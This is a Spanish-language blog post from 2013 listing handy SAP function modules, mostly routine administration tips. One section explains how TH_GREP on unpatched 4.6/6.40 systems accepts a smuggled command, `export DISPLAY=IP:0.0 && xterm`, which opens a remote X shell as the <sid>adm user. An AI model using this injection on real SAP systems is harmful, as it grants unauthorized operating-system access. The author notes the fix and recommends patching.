sábado, 22 de junio de 2013

Funciones curiosas de SAP (parte 1)

Hoy os contare algunas de las funciones que me han venido bien en más de una ocasión, seguro que muchas las conocéis pero a lo mejor alguna os viene bien...

TH_POPUP: Esta función nos permite mandar mensajes individuales a usuarios conectados al sistema, apareciendoles única y exclusivamente a ellos y mediante una ventana emergente.




/TMWFLOW/MO_UI_BASKET_AUTHORIZ: Función utilizada en el solution manager para poder aprobar directamente el software añadido al SAP download basket de una forma rápida y directa, indicando solo la RFC del SAPOSS. (solo para solution manager)



ARCHIVFILE_SERVER_TO_CLIENT: Función que nos permite pasar ficheros del servidor donde corre la instancia SAP al cliente desde el que lancemos el saplogon. Cuidado de marcar el flag de mayúsculas/minúsculas en sistemas UNIX


ARCHIVFILE_CLIENT_TO_SERVER: Función que nos permite pasar ficheros del cliente desde el que se lanza el saplogon al servidor donde corre la instancia SAP (por supuesto solo nos dejará escribir en aquellos directorios donde nuestro usuario <sid>adm tenga permisos. Cuidado de marcar el flag de mayúsculas/minúsculas en sistemas UNIX



SAPWL_WORKLOAD_REORG: Función para sincronizar las tablas de estadísticas MONI (solo para versiones 640 y 4.6). A veces cuando realizamos copias homogéneas, nos encontramos que en la ST03N siguen apareciendo datos de servidores que aun borrando sus datos históricos siguen mostrando información. Lanzando este report se soluciona este problema. Os dejo la nota SAP que explica dicho error Note 374454 - Transaction ST03N displays servers that do not exist

TH_GREP: Función usada para hacer busquedas, pero que en versiones antiguas nos permitirá abrir una shell en sistemas unix con el usuario <sid>adm. (Solo para versiones 4.6 y 6.40, y que todavía no se aplicado el parche de seguridad, cosa que recomiendo hacer para que no dejar puertas abiertas).

Lo primero será abrirnos unas xwindows (ej. REFLECTION) y desde la SE37 ejecutaremos la funcion TH_GREP y en STRING pondremos `export DISPLAY=IP:0.0 && xterm`   sustituyendo la IP por la nuestra de nuestro PC.


Para cerrarlo deberemos parar directamente la transacción donde corre SE37, con "Stop Transaction"
Si no tenemos acceso a la SE37 podremos intentarlo desde la SM51


Y en la ventana que nos abrá, pondremos la sentencia anterior, igualmente, necesitaremos tener unas xwindows abiertas y pulsamos Find.